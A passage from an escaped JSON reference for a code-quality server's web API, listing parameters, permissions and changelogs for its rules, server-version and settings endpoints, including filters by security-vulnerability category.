\u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;owaspTop10-2021\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of OWASP Top 10 2021 lowercase categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.4\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;a1\u0026#34;, \u0026#34;a2\u0026#34;, \u0026#34;a3\u0026#34;, \u0026#34;a4\u0026#34;, \u0026#34;a5\u0026#34;, \u0026#34;a6\u0026#34;, \u0026#34;a7\u0026#34;, \u0026#34;a8\u0026#34;, \u0026#34;a9\u0026#34;, \u0026#34;a10\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;100\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;UTF-8 search query\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;xpath\u0026#34;, \u0026#34;minimumLength\u0026#34;: 2 }, { \u0026#34;key\u0026#34;: \u0026#34;qprofile\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Quality profile key to filter on. Used only if the parameter \u0026#39;activation\u0026#39; is set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;repositories\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of repositories\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java,html\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;rule_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of rule to search for\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S1144\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;s\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Sort field\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;name\u0026#34;, \u0026#34;createdAt\u0026#34;, \u0026#34;updatedAt\u0026#34;, \u0026#34;key\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sansTop25\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SANS Top 25 categories.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.0\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;insecure-interaction\u0026#34;, \u0026#34;risky-resource\u0026#34;, \u0026#34;porous-defenses\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;severities\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of default severities. Not the same than severity of rules in Quality profiles.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;CRITICAL,BLOCKER\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;sonarsourceSecurity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of SonarSource security categories. Use \u0026#39;others\u0026#39; to select rules not associated with any category\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;7.8\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sql-injection,command-injection,others\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;buffer-overflow\u0026#34;, \u0026#34;sql-injection\u0026#34;, \u0026#34;rce\u0026#34;, \u0026#34;object-injection\u0026#34;, \u0026#34;command-injection\u0026#34;, \u0026#34;path-traversal-injection\u0026#34;, \u0026#34;ldap-injection\u0026#34;, \u0026#34;xpath-injection\u0026#34;, \u0026#34;log-injection\u0026#34;, \u0026#34;xxe\u0026#34;, \u0026#34;xss\u0026#34;, \u0026#34;dos\u0026#34;, \u0026#34;ssrf\u0026#34;, \u0026#34;csrf\u0026#34;, \u0026#34;http-response-splitting\u0026#34;, \u0026#34;open-redirect\u0026#34;, \u0026#34;weak-cryptography\u0026#34;, \u0026#34;auth\u0026#34;, \u0026#34;insecure-conf\u0026#34;, \u0026#34;file-manipulation\u0026#34;, \u0026#34;encrypt-data\u0026#34;, \u0026#34;traceability\u0026#34;, \u0026#34;permission\u0026#34;, \u0026#34;others\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;statuses\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of status codes\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;READY\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;BETA\u0026#34;, \u0026#34;DEPRECATED\u0026#34;, \u0026#34;READY\u0026#34;, \u0026#34;REMOVED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of tags. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;security,java8\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;template_key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the template rule to filter on. Used to search for the custom rules based on this template.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java:S001\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;types\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of types. Returned rules match any of the tags (OR operator)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;BUG\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.2\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;CODE_SMELL\u0026#34;, \u0026#34;BUG\u0026#34;, \u0026#34;VULNERABILITY\u0026#34;, \u0026#34;SECURITY_HOTSPOT\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;show\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get detailed information about a rule\\u003Cbr\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; in the response have been deprecated, use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;effortToFixDescription\u0026#39; has been removed, use \u0026#39;gapDescription\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtRemFnCoeff\u0026#39; has been removed, use \u0026#39;remFnGapMultiplier\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;defaultDebtRemFnCoeff\u0026#39; has been removed, use \u0026#39;defaultRemFnGapMultiplier\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtRemFnOffset\u0026#39; has been removed, use \u0026#39;remFnBaseEffort\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;defaultDebtRemFnOffset\u0026#39; has been removed, use \u0026#39;defaultRemFnBaseEffort\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The deprecated field \u0026#39;debtOverloaded\u0026#39; has been removed, use \u0026#39;remFnOverloaded\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnType\u0026#39; has been deprecated, use \u0026#39;defaultRemFnType\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnType\u0026#39; has been deprecated, use \u0026#39;remFnType\u0026#39; instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;descriptionSections\u0026#39; can optionally embed a context field.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;educationPrinciples\u0026#39; has been added.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;htmlDesc\u0026#39; in the response has been deprecated, it becomes \u0026#39;descriptionSections\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;descriptionSections\u0026#39; has been added to the payload.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;scope\u0026#39; has been added.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;effortToFixDescription\u0026#39; in the response has been deprecated, it becomes \u0026#39;gapDescription\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnCoeff\u0026#39; in the response has been deprecated, it becomes \u0026#39;remFnGapMultiplier\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnCoeff\u0026#39; in the response has been deprecated, it becomes \u0026#39;defaultRemFnGapMultiplier\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtRemFnOffset\u0026#39; in the response has been deprecated, it becomes \u0026#39;remFnBaseEffort\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;defaultDebtRemFnOffset\u0026#39; in the response has been deprecated, it becomes \u0026#39;defaultRemFnBaseEffort\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;debtOverloaded\u0026#39; in the response has been deprecated, it becomes \u0026#39;remFnOverloaded\u0026#39;.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;5.5\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;actives\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Show rule\u0026#39;s activations for all profiles (\\\u0026#34;active rules\\\u0026#34;)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule key\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;javascript:EmptyBlock\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List rule tags\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Max page size increased to 500\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0 and less or equal than 500\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;10\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34;, \u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to tags that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;misra\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update an existing rule.\\u003Cbr\\u003ERequires the \u0026#39;Administer Quality Profiles\u0026#39; permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;4.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The parameter \u0026#39;severity\u0026#39; is deprecated.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Updating a removed rule is now possible.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;severity\u0026#39; and \u0026#39;type\u0026#39; in the response have been deprecated, use \u0026#39;impacts\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Add \u0026#39;impacts\u0026#39;, \u0026#39;cleanCodeAttribute\u0026#39;, \u0026#39;cleanCodeAttributeCategory\u0026#39; fields to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.2\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Key of the rule to update\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;javascript:NullCheck\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;markdownDescription\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule description (mandatory for custom rule and manual rule) in \\u003Ca href=\u0026#39;/formatting/help\u0026#39;\\u003Emarkdown format\\u003C/a\\u003E\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Description of my custom rule\u0026#34;, \u0026#34;deprecatedKey\u0026#34;: \u0026#34;markdown_description\u0026#34;, \u0026#34;deprecatedKeySince\u0026#34;: \u0026#34;10.2\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;markdown_note\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional note in \\u003Ca href=\u0026#39;/formatting/help\u0026#39;\\u003Emarkdown format\\u003C/a\\u003E. Use empty value to remove current note. Note is not changed if the parameter is not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my *note*\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule name (mandatory for custom rule)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My custom rule\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;params\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Parameters as semi-colon list of \\u003Ckey\\u003E=\\u003Cvalue\\u003E, for example \u0026#39;params=key1=v1;key2=v2\u0026#39; (Only when updating a custom rule)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;remediation_fn_base_effort\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Base effort of the remediation function of the rule\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;1d\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;remediation_fn_type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Type of the remediation function of the rule\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;LINEAR\u0026#34;, \u0026#34;LINEAR_OFFSET\u0026#34;, \u0026#34;CONSTANT_ISSUE\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;remediation_fy_gap_multiplier\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Gap multiplier of the remediation function of the rule\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;3min\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;severity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule severity (Only when updating a custom rule)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;INFO\u0026#34;, \u0026#34;MINOR\u0026#34;, \u0026#34;MAJOR\u0026#34;, \u0026#34;CRITICAL\u0026#34;, \u0026#34;BLOCKER\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;status\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Rule status (Only when updating a custom rule)\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;BETA\u0026#34;, \u0026#34;DEPRECATED\u0026#34;, \u0026#34;READY\u0026#34;, \u0026#34;REMOVED\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;tags\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Optional comma-separated list of tags to set. Use blank value to remove current tags. Tags are not changed if the parameter is not set.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;java8,security\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/server\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;version\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Version of SonarQube in plain text\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;2.10\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/settings\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage settings.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;list_definitions\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List settings definitions.\\u003Cbr\\u003ERequires \u0026#39;Browse\u0026#39; permission when a component is specified\\u003Cbr/\\u003ETo access licensed settings, authentication is required\\u003Cbr/\\u003ETo access secured settings, one of the following permissions is required: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Execute Analysis\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified component\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;reset\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Remove a setting value.\\u003Cbr\\u003EThe settings defined in conf/sonar.properties are read-only and can\u0026#39;t be changed.\\u003Cbr/\\u003ERequires one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified component\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;component\u0026#39; now only accept keys for projects, applications, portfolios or subportfolios\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Internal parameters \u0026#39;branch\u0026#39; and \u0026#39;pullRequest\u0026#39; were removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated parameter \u0026#39;componentKey\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The settings defined in conf/sonar.properties are read-only and can\u0026#39;t be changed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key. Only keys for projects, applications, portfolios or subportfolios are accepted.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;keys\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Comma-separated list of keys\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar.links.scm,sonar.debt.hoursInDay\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;set\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a setting value.\\u003Cbr\\u003EEither \u0026#39;value\u0026#39; or \u0026#39;values\u0026#39; must be provided.\\u003Cbr\\u003E The settings defined in conf/sonar.properties are read-only and can\u0026#39;t be changed.\\u003Cbr/\\u003ERequires one of the following permissions: \\u003Cul\\u003E\\u003Cli\\u003E\u0026#39;Administer System\u0026#39;\\u003C/li\\u003E\\u003Cli\\u003E\u0026#39;Administer\u0026#39; rights on the specified component\\u003C/li\\u003E\\u003C/ul\\u003E\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.1\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Param \u0026#39;component\u0026#39; now only accept keys for projects, applications, portfolios or subportfolios\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Deprecated parameter \u0026#39;componentKey\u0026#39; has been removed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The use of module keys in parameter \u0026#39;component\u0026#39; is deprecated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The settings defined in conf/sonar.properties are read-only and can\u0026#39;t be changed\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.1\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;component\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Component key. Only keys for projects, applications, portfolios or subportfolios are accepted.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my_project\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;fieldValues\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Setting field values. To set several values, the parameter must be called once for each value.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;fieldValues={\\\u0026#34;firstField\\\u0026#34;:\\\u0026#34;first value\\\u0026#34;, \\\u0026#34;secondField\\\u0026#34;:\\\u0026#34;second value\\\u0026#34;, \\\u0026#34;thirdField\\\u0026#34;:\\\u0026#34;third value\\\u0026#34;}\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;key\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Setting key\u0026#34;, 